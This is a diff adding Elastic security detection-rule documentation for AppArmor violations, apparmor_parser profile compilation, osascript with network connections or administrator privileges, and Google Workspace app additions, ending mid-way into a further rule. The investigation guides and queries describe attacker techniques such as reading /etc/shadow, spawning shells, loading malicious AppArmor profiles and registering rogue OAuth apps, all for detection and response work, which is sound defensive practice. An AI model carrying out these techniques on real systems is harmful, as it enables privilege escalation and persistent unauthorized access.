act outside its assigned security profile, which can reveal privilege escalation, restricted file access, or defense-evasion activity being stopped by the kernel. An attacker who gains code execution in a web-facing service might try to read `/etc/shadow`, spawn a shell from the confined process, or touch protected sockets, causing this violation when AppArmor contains the behavior. + + +*Possible investigation steps* + + +- Determine which AppArmor profile produced the denial and what resource or capability was blocked, then judge whether the attempted action matches the application's expected behavior or suggests shell execution, credential access, or unusual network activity. +- Build a short timeline around the event for the affected workload to identify preceding parent-child process chains, interactive sessions, failed access attempts, new persistence artifacts, or outbound connections that indicate exploitation rather than misconfiguration. +- Review recent software deployments, package updates, profile changes, and administrator actions on the host to verify whether the violation began after a legitimate change that may require profile tuning or rollback. +- If the denied behavior is unexpected or repeated, validate the integrity and reputation of the involved binary or script against known-good versions from the environment and inspect its execution context for signs of tampering or abuse. +- For violations that align with malicious behavior, preserve relevant audit and system logs, contain the host or impacted service as needed, remove any confirmed malicious artifacts, and retain or harden the AppArmor policy that successfully blocked the action. + + +*False positive analysis* + + +- A legitimate application or package update may change binaries, file paths, or socket usage without a matching AppArmor profile update, so verify the alert timing against recent host software changes and confirm the denied path or capability is part of the application's documented normal operation. +- An administrator-initiated maintenance task or service restart can trigger a confined process to access temporary files, logs, or helper executables outside its usual profile, so review the parent process, command line, and user context to confirm it aligns with expected maintenance activity on the host. + + +*Response and remediation* + + +- Isolate the affected Linux host or container from the network, stop the compromised service or process that triggered the AppArmor denial, and disable any abused user or service account to prevent additional attacker execution. +- Remove attacker footholds by deleting unauthorized systemd units, cron jobs, startup scripts, SSH `authorized_keys` additions, dropped web shells, or replaced binaries linked to the confined process, then terminate any related child shells or reverse-connection tools. +- Restore the workload to a known-good state by rebuilding the host or redeploying the service from a trusted image, reinstalling affected packages, validating critical files such as `/etc/passwd`, `/etc/shadow`, and application binaries against baseline hashes, and rotating any credentials the process may have reached. +- Escalate to incident response immediately if the denial came from an internet-facing service, involved attempts to spawn a shell or read protected files, showed tampering with `/etc/apparmor.d/`, or appeared on multiple hosts, because these are strong indicators of active exploitation or wider compromise. +- Harden the environment by keeping AppArmor in enforce mode, restoring any modified profiles, patching the vulnerable application or package the attacker abused, removing unnecessary interpreter access and write permissions for the service, and adding detections for the same blocked shell, file, or socket behaviors across similar systems. + +==== Setup + + + +*Setup* + + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. + +For this detection rule no additional audit rules are required to be added to the integration. + +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "change" and event.action == "violated-apparmor-policy" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-profile-compilation-via-apparmor-parser.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-profile-compilation-via-apparmor-parser.asciidoc new file mode 100644 index 0000000000..e72ae8aed0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apparmor-profile-compilation-via-apparmor-parser.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-apparmor-profile-compilation-via-apparmor-parser]] +=== AppArmor Profile Compilation via apparmor_parser + +Detects the execution of "apparmor_parser" using the "-o" option to write a compiled AppArmor profile to an output file. This functionality is normally used by system administration tools or package installation scripts when building or loading AppArmor policies. In adversarial scenarios, attackers may use "apparmor_parser" to compile custom AppArmor profiles that can later be loaded into the kernel through AppArmor policy management interfaces. Malicious profiles may weaken security controls, alter the behavior of privileged programs, or assist in exploitation chains involving AppArmor policy manipulation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt +* https://blog.qualys.com/vulnerabilities-threat-research/2026/03/12/crackarmor-critical-apparmor-flaws-enable-local-privilege-escalation-to-root + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AppArmor Profile Compilation via apparmor_parser* + + +This alert flags a Linux process using apparmor_parser to write a compiled AppArmor policy to disk, an action administrators and package scripts use but adversaries can abuse to stage policy changes. An attacker with root access can compile a custom profile that grants a trojanized service broader file or capability access, then load it to weaken confinement and support privilege escalation or stealthy persistence. + + +*Possible investigation steps* + + +- Review the full command line, parent and ancestor process chain, executing user, tty or session, and working directory to determine whether the activity came from expected package management or configuration tooling versus an interactive shell. +- Identify the source profile and output file paths, then inspect the profile for broad file access, dangerous capability grants, unconfined transitions, or complain/disable settings that would weaken confinement for sensitive binaries or services. +- Correlate nearby events for writes under AppArmor policy directories, subsequent policy loads or reloads, package installation actions, and restarts of the targeted application to confirm whether the compiled profile was actually deployed. +- Compare the activity against host and peer-system baselines and validate it with change records, deployment jobs, or package updates tied to the same account or system to quickly distinguish administrative maintenance from anomalous behavior. +- If the execution is not authorized, preserve the generated profile and related scripts, restore affected policy files from a known-good source, and review recent privileged activity on the host for additional persistence or defense-evasion changes. + + +*False positive analysis* + + +- Operating system package installation or upgrade can invoke apparmor_parser with -o to precompile a vendor profile during a post-install action; verify this by reviewing the parent process and nearby package-management activity for an authorized update at the same time. +- A system administrator may compile a new or modified local AppArmor profile while hardening or troubleshooting a service; verify the executing user, source and output file paths, and whether the change aligns with approved maintenance or documented policy updates. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network and stop any service whose confinement was altered if the compiled profile was loaded or written into `/etc/apparmor.d/` or AppArmor cache directories, to prevent further policy abuse. +- Preserve the malicious source profile, compiled output, invoking script, and shell history for evidence, then delete unauthorized files from `/etc/apparmor.d/`, `/etc/apparmor.d/disable/`, and cache paths and unload the rogue policy with approved AppArmor administration commands. +- Remove attacker persistence by reviewing and cleaning systemd unit files, timers, cron entries, package maintainer scripts, login startup files, and sudoers changes that call `apparmor_parser` or restore the profile at boot. +- Reset or revoke credentials used on the host, including root and sudo-capable accounts, service account secrets, and unauthorized `authorized_keys`, if the attacker had interactive access or modified privileged services. +- Restore AppArmor policy files, affected binaries, and related service configurations from trusted packages, configuration management, or a gold image, then reload AppArmor in enforce mode and confirm the targeted program is confined by the expected profile. +- Escalate to incident response immediately if the custom profile targeted `sshd`, `sudo`, container runtimes, web-facing daemons, or appears on multiple hosts, and harden the environment by limiting write access to AppArmor policy paths, alerting on future `apparmor_parser -o` use outside approved package activity, and enforcing change control for policy updates. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "apparmor_parser" and process.args in ("--ofile*", "-o*", "--output*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apple-script-execution-followed-by-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apple-script-execution-followed-by-network-connection.asciidoc new file mode 100644 index 0000000000..55fa847267 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apple-script-execution-followed-by-network-connection.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-apple-script-execution-followed-by-network-connection]] +=== Apple Script Execution followed by Network Connection + +Detects execution via the Apple script interpreter (osascript) followed by a network connection from the same process within a short time period. Adversaries may use malicious scripts for execution and command and control. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Apple Script Execution followed by Network Connection* + + +AppleScript, a scripting language for macOS, automates tasks by controlling applications and system functions. Adversaries exploit it to execute scripts that establish unauthorized network connections, facilitating command and control activities. The detection rule identifies such abuse by monitoring the osascript process for script execution followed by network activity, excluding local and private IP ranges, within a short timeframe. + + +*Possible investigation steps* + + +- Review the process details for the osascript execution event, focusing on the process.entity_id and host.id to understand the context of the script execution. +- Examine the network connection details associated with the osascript process, particularly the destination IP address, to determine if it is known or suspicious, and check if it falls outside the excluded IP ranges. +- Investigate the script content or command line arguments used in the osascript execution to identify any potentially malicious or unexpected behavior. +- Check the timeline of events to see if there are any other related or suspicious activities occurring on the same host around the time of the osascript execution and network connection. +- Correlate the osascript activity with any other alerts or logs from the same host to identify patterns or additional indicators of compromise. +- Assess the user account associated with the osascript process to determine if it is a legitimate user or if there are signs of account compromise. + + +*False positive analysis* + + +- Legitimate automation scripts may trigger the rule if they execute osascript and establish network connections. Review the script's purpose and source to determine if it is authorized. +- System management tools that use AppleScript for remote administration can cause false positives. Identify these tools and consider creating exceptions for their known processes. +- Software updates or applications that use AppleScript for network communication might be flagged. Verify the application's legitimacy and update the rule to exclude these specific processes or IP addresses. +- Development environments that utilize AppleScript for testing or deployment may inadvertently match the rule. Ensure these environments are recognized and excluded from monitoring if they are trusted. +- Regularly review and update the list of excluded IP ranges and processes to ensure they reflect the current network and application landscape, minimizing unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further unauthorized access or data exfiltration. +- Terminate the osascript process identified in the alert to stop any ongoing malicious activity. +- Conduct a thorough review of the executed AppleScript to identify any malicious commands or payloads and remove any associated files or scripts from the system. +- Reset credentials for any accounts that were accessed or could have been compromised during the incident. +- Apply security patches and updates to the macOS system to address any vulnerabilities that may have been exploited. +- Monitor network traffic for any further suspicious activity originating from the affected host or similar patterns across other systems. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=30s + [process where host.os.type == "macos" and event.type == "start" and process.name == "osascript"] + [network where host.os.type == "macos" and event.type == "start" and process.name == "osascript" and + not cidrmatch(destination.ip, + "240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", "198.19.0.0/16", "192.18.0.0/15", + "192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", + "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", + "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apple-scripting-execution-with-administrator-privileges.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apple-scripting-execution-with-administrator-privileges.asciidoc new file mode 100644 index 0000000000..7f6c29ca75 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-apple-scripting-execution-with-administrator-privileges.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-apple-scripting-execution-with-administrator-privileges]] +=== Apple Scripting Execution with Administrator Privileges + +Identifies execution of the Apple script interpreter (osascript) without a password prompt and with administrator privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://discussions.apple.com/thread/2266150 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Apple Scripting Execution with Administrator Privileges* + + +AppleScript, a scripting language for macOS, automates tasks by controlling applications and system functions. Adversaries may exploit it to execute scripts with elevated privileges, bypassing password prompts, to gain unauthorized access or escalate privileges. The detection rule identifies such misuse by monitoring the execution of AppleScript with admin rights, excluding benign parent processes like Electron, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of 'osascript' with administrator privileges, focusing on the command line arguments to understand the script's intent. +- Investigate the parent process of 'osascript' to determine if it is a known and trusted application, ensuring it is not 'Electron' or any other excluded parent processes. +- Check the user account associated with the 'osascript' execution to verify if it is a legitimate account and assess if there are any signs of compromise or unauthorized access. +- Analyze recent system logs and user activity to identify any unusual behavior or patterns that coincide with the time of the alert. +- Correlate this event with other security alerts or incidents to determine if it is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Known false positives may arise from legitimate applications that use AppleScript with administrator privileges for valid operations, such as software installers or system management tools. +- Exclude processes with benign parent applications like Electron, as specified in the rule, to reduce false positives from common development environments. +- Consider adding exceptions for other trusted applications that frequently use AppleScript with elevated privileges, ensuring they are verified and necessary for business operations. +- Regularly review and update the list of excluded applications to adapt to changes in software usage and maintain effective threat detection. +- Monitor the frequency and context of alerts to identify patterns that may indicate false positives, adjusting the detection rule as needed to minimize unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious osascript processes running with administrator privileges that were not initiated by known, legitimate applications. +- Review system logs and process execution history to identify any unauthorized changes or access that occurred during the incident. +- Revoke any compromised credentials or accounts that may have been used to execute the AppleScript with elevated privileges. +- Restore the system to a known good state from a backup taken before the unauthorized script execution, if necessary. +- Implement application whitelisting to prevent unauthorized scripts from executing with elevated privileges in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security controls or monitoring enhancements. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "osascript" and + process.command_line : "osascript*with administrator privileges" and + ((process.parent.code_signature.trusted == false or process.parent.code_signature.exists == false) or process.Ext.effective_parent.executable like ("/tmp/*", "/private/tmp/*", "/Users/Shared/*")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Elevated Execution with Prompt +** ID: T1548.004 +** Reference URL: https://attack.mitre.org/techniques/T1548/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-application-added-to-google-workspace-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-application-added-to-google-workspace-domain.asciidoc new file mode 100644 index 0000000000..1d0a209377 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-application-added-to-google-workspace-domain.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-application-added-to-google-workspace-domain]] +=== Application Added to Google Workspace Domain + +Detects when an administrator adds a Google Workspace Marketplace application to the domain. Adversaries with administrative access may register a malicious OAuth application to establish long-lived API access to mail, drive, and other Workspace data, maintaining persistence and enabling collection without relying on a single user password alone. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/6328701?hl=en# +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Application Added to Google Workspace Domain* + + +Google Workspace Marketplace applications can request OAuth scopes to read or modify tenant data. When an administrator +adds an application at the domain level, users may be able to install or authorize it broadly, creating a durable +third-party access path. Threat actors with admin rights may add an adversary-controlled app to maintain API-based +persistence and access sensitive resources at scale. + +This rule identifies when an administrator adds a Marketplace application via the `ADD_APPLICATION` event in the +`google_workspace.admin` data stream. + + +*Possible investigation steps* + + +- Identify the initiating (actor) administrator by reviewing `user.email` or `user.name`, and note `@timestamp`. +- Identify the application added by reviewing `google_workspace.admin.application.name` and related application metadata in the raw event. +- Determine whether the change is expected and authorized: + - Validate there is an approved change request or vendor onboarding record for the application. + - If the actor account is unusual, treat the alert as higher priority until proven benign. +- Review Marketplace apps in the Google Admin console: + - Navigate to Apps > Google Workspace Marketplace apps. + - Confirm whether the application is allowed domain-wide or for specific organizational units, and review requested API scopes against least-privilege expectations. +- Search Kibana for related admin and OAuth activity: + - Find other Marketplace changes by the same actor: + ``` + data_stream.dataset: "google_workspace.admin" and user.email: "" and event.action: ("ADD_APPLICATION" or "REMOVE_APPLICATION") + ``` + - After the add, review OAuth authorizations that may indicate users or admins granting access to the app: + ``` + data_stream.dataset: "google_workspace.token" and event.action: "authorize" + ``` + - Scope for other security-weakening admin actions from the same `user.email` within the last 48 hours, such as Marketplace restriction changes, blocklist removals, or role assignments. + + +*False positive analysis* + + +- Verify the application is an approved business tool with documented vendor risk review and scope justification. +- New application rollouts during migrations or acquisitions can trigger this rule, validate timing against change windows. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the add is not clearly authorized, remove or block the application under Google Workspace Marketplace apps while the investigation proceeds. +- Revoke OAuth tokens for the application client if users have already authorized it (`Security` > Access and data control > API controls, or user token review in admin reports). +- If the initiating admin account is suspected compromised, reset credentials, revoke active sessions, and review delegated admin roles assigned to that account. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated administrator to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.action:ADD_APPLICATION + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-application-removed-from-blocklist-in-google-workspace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-application-removed-from-blocklist-in-google-workspace.asciidoc new file mode 100644 index 0000000000..436cc06e4f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-application-removed-from-blocklist-in-google-workspace.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-application-removed-from-blocklist-in-google-workspace]] +=== Application Removed from Blocklist in Google Workspace + +Google Workspace 